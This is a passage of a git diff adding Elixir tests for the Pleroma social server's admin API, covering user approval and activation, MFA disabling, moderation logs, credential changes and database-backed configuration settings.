%{admin: admin, conn: conn} do + user_one = insert(:user, approval_pending: true) + user_two = insert(:user, approval_pending: true) + + conn = + patch( + conn, + "/api/pleroma/admin/users/approve", + %{nicknames: [user_one.nickname, user_two.nickname]} + ) + + response = json_response(conn, 200) + assert Enum.map(response["users"], & &1["approval_pending"]) == [false, false] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} approved users: @#{user_one.nickname}, @#{user_two.nickname}" + end + + test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation", %{admin: admin, conn: conn} do + user = insert(:user) + + conn = patch(conn, "/api/pleroma/admin/users/#{user.nickname}/toggle_activation") + + assert json_response(conn, 200) == + %{ + "deactivated" => !user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deactivated users: @#{user.nickname}" + end + + describe "PUT disable_mfa" do + test "returns 200 and disable 2fa", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} + } + ) + + response = + conn + |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: user.nickname}) + |> json_response(200) + + assert response == user.nickname + mfa_settings = refresh_record(user).multi_factor_authentication_settings + + refute mfa_settings.enabled + refute mfa_settings.totp.confirmed + end + + test "returns 404 if user not found", %{conn: conn} do + response = + conn + |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: "nickname"}) + |> json_response(404) + + assert response == %{"error" => "Not found"} + end + end + + describe "GET /api/pleroma/admin/restart" do + setup do: clear_config(:configurable_from_database, true) + + test "pleroma restarts", %{conn: conn} do + capture_log(fn -> + assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == %{} + end) =~ "pleroma restarted" + + refute Restarter.Pleroma.need_reboot?() + end + end + + test "need_reboot flag", %{conn: conn} do + assert conn + |> get("/api/pleroma/admin/need_reboot") + |> json_response(200) == %{"need_reboot" => false} + + Restarter.Pleroma.need_reboot() + + assert conn + |> get("/api/pleroma/admin/need_reboot") + |> json_response(200) == %{"need_reboot" => true} + + on_exit(fn -> Restarter.Pleroma.refresh() end) + end + + describe "GET /api/pleroma/admin/users/:nickname/statuses" do + setup do + user = insert(:user) + + date1 = (DateTime.to_unix(DateTime.utc_now()) + 2000) |> DateTime.from_unix!() + date2 = (DateTime.to_unix(DateTime.utc_now()) + 1000) |> DateTime.from_unix!() + date3 = (DateTime.to_unix(DateTime.utc_now()) + 3000) |> DateTime.from_unix!() + + insert(:note_activity, user: user, published: date1) + insert(:note_activity, user: user, published: date2) + insert(:note_activity, user: user, published: date3) + + %{user: user} + end + + test "renders user's statuses", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") + + assert json_response(conn, 200) |> length() == 3 + end + + test "renders user's statuses with a limit", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?page_size=2") + + assert json_response(conn, 200) |> length() == 2 + end + + test "doesn't return private statuses by default", %{conn: conn, user: user} do + {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) + + {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") + + assert json_response(conn, 200) |> length() == 4 + end + + test "returns private statuses with godmode on", %{conn: conn, user: user} do + {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) + + {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?godmode=true") + + assert json_response(conn, 200) |> length() == 5 + end + + test "excludes reblogs by default", %{conn: conn, user: user} do + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "."}) + {:ok, %Activity{}} = CommonAPI.repeat(activity.id, other_user) + + conn_res = get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses") + assert json_response(conn_res, 200) |> length() == 0 + + conn_res = + get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses?with_reblogs=true") + + assert json_response(conn_res, 200) |> length() == 1 + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats" do + setup do + user = insert(:user) + recipients = insert_list(3, :user) + + Enum.each(recipients, fn recipient -> + CommonAPI.post_chat_message(user, recipient, "yo") + end) + + %{user: user} + end + + test "renders user's chats", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") + + assert json_response(conn, 200) |> length() == 3 + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do + setup do + user = insert(:user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") + %{conn: conn} = oauth_access(["read:chats"]) + %{conn: conn, user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do + setup do + user = insert(:user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") + %{conn: build_conn(), user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + + describe "GET /api/pleroma/admin/moderation_log" do + setup do + moderator = insert(:user, is_moderator: true) + + %{moderator: moderator} + end + + test "returns the log", %{conn: conn, admin: admin} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) + }) + + conn = get(conn, "/api/pleroma/admin/moderation_log") + + response = json_response(conn, 200) + [first_entry, second_entry] = response["items"] + + assert response["total"] == 2 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + + assert second_entry["data"]["action"] == "relay_follow" + + assert second_entry["message"] == + "@#{admin.nickname} followed relay: https://example.org/relay" + end + + test "returns the log with pagination", %{conn: conn, admin: admin} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 2 + assert response1["items"] |> length() == 1 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + + conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2") + + response2 = json_response(conn2, 200) + [second_entry] = response2["items"] + + assert response2["total"] == 2 + assert response2["items"] |> length() == 1 + assert second_entry["data"]["action"] == "relay_follow" + + assert second_entry["message"] == + "@#{admin.nickname} followed relay: https://example.org/relay" + end + + test "filters log by date", %{conn: conn, admin: admin} do + first_date = "2017-08-15T15:47:06Z" + second_date = "2017-08-20T15:47:06Z" + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.from_iso8601!(first_date) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.from_iso8601!(second_date) + }) + + conn1 = + get( + conn, + "/api/pleroma/admin/moderation_log?start_date=#{second_date}" + ) + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + end + + test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + } + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => moderator.id, + "nickname" => moderator.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + } + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id + end + + test "returns log filtered by search", %{conn: conn, moderator: moderator} do + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_follow", + target: "https://example.org/relay" + }) + + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_unfollow", + target: "https://example.org/relay" + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + + assert get_in(first_entry, ["data", "message"]) == + "@#{moderator.nickname} unfollowed relay: https://example.org/relay" + end + end + + test "gets a remote users when [:instance, :limit_to_local_content] is set to :unauthenticated", + %{conn: conn} do + clear_config(Pleroma.Config.get([:instance, :limit_to_local_content]), :unauthenticated) + user = insert(:user, %{local: false, nickname: "u@peer1.com"}) + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") + + assert json_response(conn, 200) + end + + describe "GET /users/:nickname/credentials" do + test "gets the user credentials", %{conn: conn} do + user = insert(:user) + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") + + response = assert json_response(conn, 200) + assert response["email"] == user.email + end + + test "returns 403 if requested by a non-admin" do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/pleroma/admin/users/#{user.nickname}/credentials") + + assert json_response(conn, :forbidden) + end + end + + describe "PATCH /users/:nickname/credentials" do + setup do + user = insert(:user) + [user: user] + end + + test "changes password and email", %{conn: conn, admin: admin, user: user} do + assert user.password_reset_pending == false + + conn = + patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "password" => "new_password", + "email" => "new_email@example.com", + "name" => "new_name" + }) + + assert json_response(conn, 200) == %{"status" => "success"} + + ObanHelpers.perform_all() + + updated_user = User.get_by_id(user.id) + + assert updated_user.email == "new_email@example.com" + assert updated_user.name == "new_name" + assert updated_user.password_hash != user.password_hash + assert updated_user.password_reset_pending == true + + [log_entry2, log_entry1] = ModerationLog |> Repo.all() |> Enum.sort() + + assert ModerationLog.get_log_entry_message(log_entry1) == + "@#{admin.nickname} updated users: @#{user.nickname}" + + assert ModerationLog.get_log_entry_message(log_entry2) == + "@#{admin.nickname} forced password reset for users: @#{user.nickname}" + end + + test "returns 403 if requested by a non-admin", %{user: user} do + conn = + build_conn() + |> assign(:user, user) + |> patch("/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "password" => "new_password", + "email" => "new_email@example.com", + "name" => "new_name" + }) + + assert json_response(conn, :forbidden) + end + + test "changes actor type from permitted list", %{conn: conn, user: user} do + assert user.actor_type == "Person" + + assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "actor_type" => "Service" + }) + |> json_response(200) == %{"status" => "success"} + + updated_user = User.get_by_id(user.id) + + assert updated_user.actor_type == "Service" + + assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "actor_type" => "Application" + }) + |> json_response(400) == %{"errors" => %{"actor_type" => "is invalid"}} + end + + test "update non existing user", %{conn: conn} do + assert patch(conn, "/api/pleroma/admin/users/non-existing/credentials", %{ + "password" => "new_password" + }) + |> json_response(404) == %{"error" => "Not found"} + end + end + + describe "PATCH /users/:nickname/force_password_reset" do + test "sets password_reset_pending to true", %{conn: conn} do + user = insert(:user) + assert user.password_reset_pending == false + + conn = + patch(conn, "/api/pleroma/admin/users/force_password_reset", %{nicknames: [user.nickname]}) + + assert empty_json_response(conn) == "" + + ObanHelpers.perform_all() + + assert User.get_by_id(user.id).password_reset_pending == true + end + end + + describe "instances" do + test "GET /instances/:instance/statuses", %{conn: conn} do + user = insert(:user, local: false, nickname: "archaeme@archae.me") + user2 = insert(:user, local: false, nickname: "test@test.com") + insert_pair(:note_activity, user: user) + activity = insert(:note_activity, user: user2) + + ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") + + response = json_response(ret_conn, 200) + + assert length(response) == 2 + + ret_conn = get(conn, "/api/pleroma/admin/instances/test.com/statuses") + + response = json_response(ret_conn, 200) + + assert length(response) == 1 + + ret_conn = get(conn, "/api/pleroma/admin/instances/nonexistent.com/statuses") + + response = json_response(ret_conn, 200) + + assert Enum.empty?(response) + + CommonAPI.repeat(activity.id, user) + + ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") + response = json_response(ret_conn, 200) + assert length(response) == 2 + + ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses?with_reblogs=true") + response = json_response(ret_conn, 200) + assert length(response) == 3 + end + end + + describe "PATCH /confirm_email" do + test "it confirms emails of two users", %{conn: conn, admin: admin} do + [first_user, second_user] = insert_pair(:user, confirmation_pending: true) + + assert first_user.confirmation_pending == true + assert second_user.confirmation_pending == true + + ret_conn = + patch(conn, "/api/pleroma/admin/users/confirm_email", %{ + nicknames: [ + first_user.nickname, + second_user.nickname + ] + }) + + assert ret_conn.status == 200 + + assert first_user.confirmation_pending == true + assert second_user.confirmation_pending == true + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} confirmed email for users: @#{first_user.nickname}, @#{ + second_user.nickname + }" + end + end + + describe "PATCH /resend_confirmation_email" do + test "it resend emails for two users", %{conn: conn, admin: admin} do + [first_user, second_user] = insert_pair(:user, confirmation_pending: true) + + ret_conn = + patch(conn, "/api/pleroma/admin/users/resend_confirmation_email", %{ + nicknames: [ + first_user.nickname, + second_user.nickname + ] + }) + + assert ret_conn.status == 200 + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} re-sent confirmation email for users: @#{first_user.nickname}, @#{ + second_user.nickname + }" + + ObanHelpers.perform_all() + + Pleroma.Emails.UserEmail.account_confirmation_email(first_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() + end + end + + describe "/api/pleroma/admin/stats" do + test "status visibility count", %{conn: conn} do + admin = insert(:user, is_admin: true) + user = insert(:user) + CommonAPI.post(user, %{visibility: "public", status: "hey"}) + CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) + CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) + + response = + conn + |> assign(:user, admin) + |> get("/api/pleroma/admin/stats") + |> json_response(200) + + assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 2} = + response["status_visibility"] + end + + test "by instance", %{conn: conn} do + admin = insert(:user, is_admin: true) + user1 = insert(:user) + instance2 = "instance2.tld" + user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) + + CommonAPI.post(user1, %{visibility: "public", status: "hey"}) + CommonAPI.post(user2, %{visibility: "unlisted", status: "hey"}) + CommonAPI.post(user2, %{visibility: "private", status: "hey"}) + + response = + conn + |> assign(:user, admin) + |> get("/api/pleroma/admin/stats", instance: instance2) + |> json_response(200) + + assert %{"direct" => 0, "private" => 1, "public" => 0, "unlisted" => 1} = + response["status_visibility"] + end + end +end + +# Needed for testing +defmodule Pleroma.Web.Endpoint.NotReal do +end + +defmodule Pleroma.Captcha.NotReal do +end diff --git a/test/pleroma/web/admin_api/controllers/config_controller_test.exs b/test/pleroma/web/admin_api/controllers/config_controller_test.exs new file mode 100644 index 000000000..4e897455f --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/config_controller_test.exs @@ -0,0 +1,1465 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ConfigControllerTest do + use Pleroma.Web.ConnCase, async: true + + import ExUnit.CaptureLog + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.ConfigDB + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/config" do + setup do: clear_config(:configurable_from_database, true) + + test "when configuration from database is off", %{conn: conn} do + Config.put(:configurable_from_database, false) + conn = get(conn, "/api/pleroma/admin/config") + + assert json_response_and_validate_schema(conn, 400) == + %{ + "error" => "To use this endpoint you need to enable configuration from database." + } + end + + test "with settings only in db", %{conn: conn} do + config1 = insert(:config) + config2 = insert(:config) + + conn = get(conn, "/api/pleroma/admin/config?only_db=true") + + %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => key1, + "value" => _ + }, + %{ + "group" => ":pleroma", + "key" => key2, + "value" => _ + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert key1 == inspect(config1.key) + assert key2 == inspect(config2.key) + end + + test "db is added to settings that are in db", %{conn: conn} do + _config = insert(:config, key: ":instance", value: [name: "Some name"]) + + %{"configs" => configs} = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + [instance_config] = + Enum.filter(configs, fn %{"group" => group, "key" => key} -> + group == ":pleroma" and key == ":instance" + end) + + assert instance_config["db"] == [":name"] + end + + test "merged default setting with db settings", %{conn: conn} do + config1 = insert(:config) + config2 = insert(:config) + + config3 = + insert(:config, + value: [k1: :v1, k2: :v2] + ) + + %{"configs" => configs} = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert length(configs) > 3 + + saved_configs = [config1, config2, config3] + keys = Enum.map(saved_configs, &inspect(&1.key)) + + received_configs = + Enum.filter(configs, fn %{"group" => group, "key" => key} -> + group == ":pleroma" and key in keys + end) + + assert length(received_configs) == 3 + + db_keys = + config3.value + |> Keyword.keys() + |> ConfigDB.to_json_types() + + keys = Enum.map(saved_configs -- [config3], &inspect(&1.key)) + + values = Enum.map(saved_configs, &ConfigDB.to_json_types(&1.value)) + + mapset_keys = MapSet.new(keys ++ db_keys) + + Enum.each(received_configs, fn %{"value" => value, "db" => db} -> + db = MapSet.new(db) + assert MapSet.subset?(db, mapset_keys) + + assert value in values + end) + end + + test "subkeys with full update right merge", %{conn: conn} do + insert(:config, + key: ":emoji", + value: [groups: [a: 1, b: 2], key: [a: 1]] + ) + + insert(:config, + key: ":assets", + value: [mascots: [a: 1, b: 2], key: [a: 1]] + ) + + %{"configs" => configs} = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + vals = + Enum.filter(configs, fn %{"group" => group, "key" => key} -> + group == ":pleroma" and key in [":emoji", ":assets"] + end) + + emoji = Enum.find(vals, fn %{"key" => key} -> key == ":emoji" end) + assets = Enum.find(vals, fn %{"key" => key} -> key == ":assets" end) + + emoji_val = ConfigDB.to_elixir_types(emoji["value"]) + assets_val = ConfigDB.to_elixir_types(assets["value"]) + + assert emoji_val[:groups] == [a: 1, b: 2] + assert assets_val[:mascots] == [a: 1, b: 2] + end + + test "with valid `admin_token` query parameter, skips OAuth scopes check" do + clear_config([:admin_token], "password123") + + build_conn() + |> get("/api/pleroma/admin/config?admin_token=password123") + |> json_response_and_validate_schema(200) + end + end + + test "POST /api/pleroma/admin/config error", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{"configs" => []}) + + assert json_response_and_validate_schema(conn, 400) == + %{"error" => "To use this endpoint you need to enable configuration from database."} + end + + describe "POST /api/pleroma/admin/config" do + setup do + http = Application.get_env(:pleroma, :http) + + on_exit(fn -> + Application.delete_env(:pleroma, :key1) + Application.delete_env(:pleroma, :key2) + Application.delete_env(:pleroma, :key3) + Application.delete_env(:pleroma, :key4) + Application.delete_env(:pleroma, :keyaa1) + Application.delete_env(:pleroma, :keyaa2) + Application.delete_env(:pleroma, Pleroma.Web.Endpoint.NotReal) + Application.delete_env(:pleroma, Pleroma.Captcha.NotReal) + Application.put_env(:pleroma, :http, http) + Application.put_env(:tesla, :adapter, Tesla.Mock) + Restarter.Pleroma.refresh() + end) + end + + setup do: clear_config(:configurable_from_database, true) + + @tag capture_log: true + test "create new config setting in db", %{conn: conn} do + ueberauth = Application.get_env(:ueberauth, Ueberauth) + on_exit(fn -> Application.put_env(:ueberauth, Ueberauth, ueberauth) end) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: "value1"}, + %{ + group: ":ueberauth", + key: "Ueberauth", + value: [%{"tuple" => [":consumer_secret", "aaaa"]}] + }, + %{ + group: ":pleroma", + key: ":key2", + value: %{ + ":nested_1" => "nested_value1", + ":nested_2" => [ + %{":nested_22" => "nested_value222"}, + %{":nested_33" => %{":nested_44" => "nested_444"}} + ] + } + }, + %{ + group: ":pleroma", + key: ":key3", + value: [ + %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, + %{"nested_4" => true} + ] + }, + %{ + group: ":pleroma", + key: ":key4", + value: %{":nested_5" => ":upload", "endpoint" => "https://example.com"} + }, + %{ + group: ":idna", + key: ":key5", + value: %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]} + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => "value1", + "db" => [":key1"] + }, + %{ + "group" => ":ueberauth", + "key" => "Ueberauth", + "value" => [%{"tuple" => [":consumer_secret", "aaaa"]}], + "db" => [":consumer_secret"] + }, + %{ + "group" => ":pleroma", + "key" => ":key2", + "value" => %{ + ":nested_1" => "nested_value1", + ":nested_2" => [ + %{":nested_22" => "nested_value222"}, + %{":nested_33" => %{":nested_44" => "nested_444"}} + ] + }, + "db" => [":key2"] + }, + %{ + "group" => ":pleroma", + "key" => ":key3", + "value" => [ + %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, + %{"nested_4" => true} + ], + "db" => [":key3"] + }, + %{ + "group" => ":pleroma", + "key" => ":key4", + "value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"}, + "db" => [":key4"] + }, + %{ + "group" => ":idna", + "key" => ":key5", + "value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}, + "db" => [":key5"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:pleroma, :key1) == "value1" + + assert Application.get_env(:pleroma, :key2) == %{ + nested_1: "nested_value1", + nested_2: [ + %{nested_22: "nested_value222"}, + %{nested_33: %{nested_44: "nested_444"}} + ] + } + + assert Application.get_env(:pleroma, :key3) == [ + %{"nested_3" => :nested_3, "nested_33" => "nested_33"}, + %{"nested_4" => true} + ] + + assert Application.get_env(:pleroma, :key4) == %{ + "endpoint" => "https://example.com", + nested_5: :upload + } + + assert Application.get_env(:idna, :key5) == {"string", Pleroma.Captcha.NotReal, []} + end + + test "save configs setting without explicit key", %{conn: conn} do + level = Application.get_env(:quack, :level) + meta = Application.get_env(:quack, :meta) + webhook_url = Application.get_env(:quack, :webhook_url) + + on_exit(fn -> + Application.put_env(:quack, :level, level) + Application.put_env(:quack, :meta, meta) + Application.put_env(:quack, :webhook_url, webhook_url) + end) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":quack", + key: ":level", + value: ":info" + }, + %{ + group: ":quack", + key: ":meta", + value: [":none"] + }, + %{ + group: ":quack", + key: ":webhook_url", + value: "https://hooks.slack.com/services/KEY" + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":quack", + "key" => ":level", + "value" => ":info", + "db" => [":level"] + }, + %{ + "group" => ":quack", + "key" => ":meta", + "value" => [":none"], + "db" => [":meta"] + }, + %{ + "group" => ":quack", + "key" => ":webhook_url", + "value" => "https://hooks.slack.com/services/KEY", + "db" => [":webhook_url"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:quack, :level) == :info + assert Application.get_env(:quack, :meta) == [:none] + assert Application.get_env(:quack, :webhook_url) == "https://hooks.slack.com/services/KEY" + end + + test "saving config with partial update", %{conn: conn} do + insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: 2)) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key1", 1]}, + %{"tuple" => [":key2", 2]}, + %{"tuple" => [":key3", 3]} + ], + "db" => [":key1", ":key2", ":key3"] + } + ], + "need_reboot" => false + } + end + + test "saving config which need pleroma reboot", %{conn: conn} do + chat = Config.get(:chat) + on_exit(fn -> Config.put(:chat, chat) end) + + assert conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/pleroma/admin/config", + %{ + configs: [ + %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} + ] + } + ) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "db" => [":enabled"], + "group" => ":pleroma", + "key" => ":chat", + "value" => [%{"tuple" => [":enabled", true]}] + } + ], + "need_reboot" => true + } + + configs = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert configs["need_reboot"] + + capture_log(fn -> + assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == + %{} + end) =~ "pleroma restarted" + + configs = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert configs["need_reboot"] == false + end + + test "update setting which need reboot, don't change reboot flag until reboot", %{conn: conn} do + chat = Config.get(:chat) + on_exit(fn -> Config.put(:chat, chat) end) + + assert conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/pleroma/admin/config", + %{ + configs: [ + %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} + ] + } + ) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "db" => [":enabled"], + "group" => ":pleroma", + "key" => ":chat", + "value" => [%{"tuple" => [":enabled", true]}] + } + ], + "need_reboot" => true + } + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} + ] + }) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key3", 3]} + ], + "db" => [":key3"] + } + ], + "need_reboot" => true + } + + capture_log(fn -> + assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == + %{} + end) =~ "pleroma restarted" + + configs = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert configs["need_reboot"] == false + end + + test "saving config with nested merge", %{conn: conn} do + insert(:config, key: :key1, value: [key1: 1, key2: [k1: 1, k2: 2]]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":key1", + value: [ + %{"tuple" => [":key3", 3]}, + %{ + "tuple" => [ + ":key2", + [ + %{"tuple" => [":k2", 1]}, + %{"tuple" => [":k3", 3]} + ] + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key1", 1]}, + %{"tuple" => [":key3", 3]}, + %{ + "tuple" => [ + ":key2", + [ + %{"tuple" => [":k1", 1]}, + %{"tuple" => [":k2", 1]}, + %{"tuple" => [":k3", 3]} + ] + ] + } + ], + "db" => [":key1", ":key3", ":key2"] + } + ], + "need_reboot" => false + } + end + + test "saving special atoms", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{ + "tuple" => [ + ":ssl_options", + [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ 